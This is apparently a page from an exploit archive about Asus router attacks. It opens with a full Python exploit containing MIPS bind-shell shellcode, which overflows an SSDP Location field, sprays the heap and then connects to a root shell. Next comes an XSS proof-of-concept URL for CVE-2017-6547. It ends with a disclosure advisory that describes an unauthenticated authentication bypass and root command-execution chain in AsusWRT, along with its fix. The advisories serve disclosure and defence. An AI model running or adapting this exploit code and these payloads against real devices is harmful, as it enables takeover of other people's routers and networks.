sc += b"\x27\x28\xc0\x01"   #     nor     a1,t6,zero               */
sc += b"\xff\xff\x06\x28"   #     slti    a2,zero,-1               */   
sc += b"\x57\x10\x02\x24"   #     li      v0,4183 ( __NR_socket )  */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\xff\xff\x50\x30"   #     andi    s0,v0,0xffff             */   
sc += b"\xef\xff\x0e\x24"   #     li      t6,-17                   */
sc += b"\x27\x70\xc0\x01"   #     nor     t6,t6,zero               */
sc += b"\x13\x37\x0d\x24"   #     li      t5,0x3713 (port 0x1337)  */
sc += b"\x04\x68\xcd\x01"   #     sllv    t5,t5,t6                 */
sc += b"\xff\xfd\x0e\x24"   #     li      t6,-513                  */
sc += b"\x27\x70\xc0\x01"   #     nor     t6,t6,zero               */
sc += b"\x25\x68\xae\x01"   #     or      t5,t5,t6                 */
sc += b"\xe0\xff\xad\xaf"   #     sw      t5,-32(sp)               */
sc += b"\xe4\xff\xa0\xaf"   #     sw      zero,-28(sp)             */   
sc += b"\xe8\xff\xa0\xaf"   #     sw      zero,-24(sp)             */
sc += b"\xec\xff\xa0\xaf"   #     sw      zero,-20(sp)             */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xef\xff\x0e\x24"   #     li      t6,-17                   */
sc += b"\x27\x30\xc0\x01"   #     nor     a2,t6,zero               */
sc += b"\xe0\xff\xa5\x23"   #     addi    a1,sp,-32                */
sc += b"\x49\x10\x02\x24"   #     li      v0,4169 ( __NR_bind )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\x01\x01\x05\x24"   #     li      a1,257                   */
sc += b"\x4e\x10\x02\x24"   #     li      v0,4174 ( __NR_listen )  */   
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xff\xff\x05\x28"   #     slti    a1,zero,-1               */
sc += b"\xff\xff\x06\x28"   #     slti    a2,zero,-1               */
sc += b"\x48\x10\x02\x24"   #     li      v0,4168 ( __NR_accept )  */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\xff\xff\x50\x30"   #     andi    s0,v0,0xffff             */   
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xfd\xff\x0f\x24"   #     li      t7,-3                    */
sc += b"\x27\x28\xe0\x01"   #     nor     a1,t7,zero               */
sc += b"\xdf\x0f\x02\x24"   #     li      v0,4063 ( __NR_dup2 )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\x01\x01\x05\x28"   #     slti    a1,zero,0x0101           */
sc += b"\xdf\x0f\x02\x24"   #     li      v0,4063 ( __NR_dup2 )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xff\xff\x05\x28"   #     slti    a1,zero,-1               */   
sc += b"\xdf\x0f\x02\x24"   #     li      v0,4063 ( __NR_dup2 )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x50\x73\x06\x24"   #     li      a2,0x7350                */
sc += b"\xff\xff\xd0\x04"   # LB: bltzal  a2,LB                    */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\xff\xff\x06\x28"   #     slti    a2,zero,-1               */
sc += b"\xdb\xff\x0f\x24"   #     li      t7,-37                   */
sc += b"\x27\x78\xe0\x01"   #     nor     t7,t7,zero               */
sc += b"\x21\x20\xef\x03"   #     addu    a0,ra,t7                 */
sc += b"\xf0\xff\xa4\xaf"   #     sw      a0,-16(sp)               */
sc += b"\xf4\xff\xa0\xaf"   #     sw      zero,-12(sp)             */
sc += b"\xf0\xff\xa5\x23"   #     addi    a1,sp,-16                */
sc += b"\xab\x0f\x02\x24"   #     li      v0,4011 ( __NR_execve )  */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"/bin/sh";


import time
import struct
import socket
import sys
import os
import threading
import socketserver
import telnetlib

# randomize mac address
def mac():
    os.system('macchanger  -A {} > /dev/null'.format(INTERACE))

# setup interface
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {}'.format(INTERACE, INTERACE, IP, ROUTER_IP))


# setup minimal webserver for delivering the shellcode
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):

    def handle(self):
        print('[-] got shellcode request')
        self.request.recv(1024)
        print("[-] sending shellcode")
        self.request.send(sc)

class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

print('[-] starting webserver')
socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()

# start multicast receiver
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 1900))
group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0])
mreq = group_bin + struct.pack('=I', socket.INADDR_ANY)
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

mac()
state = 'clean'

while True:
    data, sender = s.recvfrom(1500)

    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSP discovery")

        data = {}
        data['clean'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b'CCCC'*11 + b'\xfc\x8c\x40/' +b'\r\n\r\n'
        data['pwn']   = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b"AAAA"*11 + b'\x04\xd5\x41/' +b'\r\n\r\n'
        data['heap']  = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode()+ b':1337/A\r\n\r\n'  
        data['heap2']= data['heap']

        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 
        sock.sendto(data[state], sender)

        if state == 'pwn':
            print("[-] starting payload")
            while True:
                try:
                    print("[-] try to connect to shell")
                    telnet = telnetlib.Telnet()
                    telnet.open('192.168.1.1', 0x1337, timeout=1)
                    print('[+] connected')
                    telnet.write(b'uname -a; echo [+] pwned\n')
                    telnet.interact()
                except:
                    pass
                time.sleep(2.0)

        if state == 'heap2':
            print("[-] spraying heap 2/2")
            mac()
            state = 'pwn'

        if state == 'heap':
            print("[-] spraying heap 1/2")
            mac()
            state = 'heap2'

        if state == 'clean':
            print('[-] clearing database and crashing')
            mac()
            state = 'heap'
---EOF---
HireHackking 
Cross-Site Scripting (XSS)

Component: httpd

CVE: CVE-2017-6547

Vulnerability:

httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.

...

if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
{
    char inviteCode[256];
    snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
    send_page( 200, "OK", (char*) 0, inviteCode, 0);

...
PoC:

http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A
HireHackking 
>> Unauthenticated LAN remote code execution in AsusWRT
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 22/01/2018 / Last updated: 25/01/2018


>> Background and summary
AsusWRT is the operating system used in mid range and high end Asus routers. It is based on Linux, but with a sleek web UI and a slimmed down profile suitable for running on resource constrained routers.
Thankfully ASUS is a responsible company, and not only they publish the full source code as required by the GPL, but they also give users full root access to their router via SSH. Overall the security of their operating system is pretty good, especially when compared to other router manufacturers.

However due to a number of coding errors, it is possible for an unauthenticated attacker in the LAN to achieve remote code execution in the router as the root user.

A special thanks to Beyond Security SecuriTeam Secure Disclosure (SSD) programme for disclosing these vulnerabilities to the manufacturer, speeding the resolution of the issues discovered (see [1] for their advisory).


>> Technical details:
#1
Vulnerability: HTTP server authentication bypass
CVE-2018-5999
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: confirmed on v3.0.0.4.380.7743; possibly affects every version before v3.0.0.4.384.10007

The AsusWRT HTTP server has a flaw in handle_request() that allows an unauthenticated user to perform a POST request for certain actions.
In AsusWRT_source/router/httpd/httpd.c:

handle_request(void)
{
...
	handler->auth(auth_userid, auth_passwd, auth_realm);
	auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);

	if (auth_result != 0)                                     <--- auth fails
	{
		if(strcasecmp(method, "post") == 0){
			if (handler->input) {
				handler->input(file, conn_fp, cl, boundary);        <--- but POST request is still processed
			}
			send_login_page(fromapp, auth_result, NULL, NULL, 0);
		}
		//if(!fromapp) http_logout(login_ip_tmp, cookies);
		return;
	}
...
}

This can (and will) be combined with other vulnerabilities to achieve remote code execution.


#2
Vulnerability: Unauthorised configuration change (NVRAM value setting)
CVE-2018-6000
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: confirmed on v3.0.0.4.380.7743; possibly affects every version before v3.0.0.4.384.10007

By abusing vulnerability #1 and POSTing to vpnupload.cgi, we can invoke do_vpnupload_post() in the HTTP server code, which has a vulnerability that allows an attacker to set NVRAM configuration values directly from the request.
In AsusWRT_source/router/httpd/web.c:

do_vpnupload_post(char *url, FILE *stream, int len, char *boundary)
{
...
	if (!strncasecmp(post_buf, "Content-Disposition:", 20)) {
		if(strstr(post_buf, "name=\"file\""))
			break;
		else if(strstr(post_buf, "name=\"")) {
			offset = strlen(post_buf);
			fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
			len -= strlen(post_buf) - offset;
			offset = strlen(post_buf);
			fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
			len -= strlen(post_buf) - offset;
			p = post_buf;
			name = strstr(p, "\"") + 1;
			p = strstr(name, "\"");
			strcpy(p++, "\0");
			value = strstr(p, "\r\n\r\n") + 4;
			p = strstr(value, "\r");
			strcpy(p, "\0");
			//printf("%s=%s\n", name, value);
			nvram_set(name, value);
		}
	}
...
}

These NVRAM values contain very important configuration variables, such as the admin password, which can be set in this way by an authenticated or unauthenticated attacker.

Once that is done, code execution is easily achieved. One option is to login to the web interface with the new password, enable SSH, reboot the router and login via SSH.

A more elegant option is to abuse infosvr, which is a UDP daemon running on port 9999.
The daemon has a special mode where it executes a command received in a packet as the root user. This special mode is only enabled if ateCommand_flag is set to 1, which most likely only happens during factory testing or QA (it was not enabled by default in the firmware distributed by Asus in their website).

However we can set ateCommand_flag to 1 using the VPN configuration upload technique described above and then send a PKT_SYSCMD to infosvr. The daemon will read a command from the packet and execute it as root, achieving our command execution cleanly - without changing any passwords.

(Note: infosvr used to allow unauthenticated command execution without the ateCommand_flag being set, which led to Joshua Drake's (jduck) discovery of CVE-2014-9583, see [2]; this was fixed by Asus in early 2015).

Packet structure (from AsusWRT_source/router/shared/iboxcom.h):
- Header
  typedef struct iboxPKTEx
  {
    BYTE		ServiceID;
    BYTE		PacketType;
    WORD		OpCode;
    DWORD 		Info; // Or Transaction ID
    BYTE		MacAddress[6];
    BYTE		Password[32];   //NULL terminated string, string length:1~31, cannot be NULL string
  } ibox_comm_pkt_hdr_ex;

- Body
  typedef struct iboxPKTCmd
  {
    WORD		len;
    BYTE		cmd[420];		<--- command goes here
  } PKT_SYSCMD;		// total 422 bytes

A Metasploit module exploiting this vulnerability has been released [3].


>> Fix:
Upgrade to AsusWRT v3.0.0.4.384.10007 or above.
See [4] for the very few details and new firmware released by Asus.


>> References:
[1] https://blogs.securiteam.com/index.php/archives/3589
[2] https://github.com/jduck/asus-cmd
[3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/asuswrt_lan_rce.rb
[4] https://www.asus.com/Static_WebPage/ASUS-Product-Security-Advisory/

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>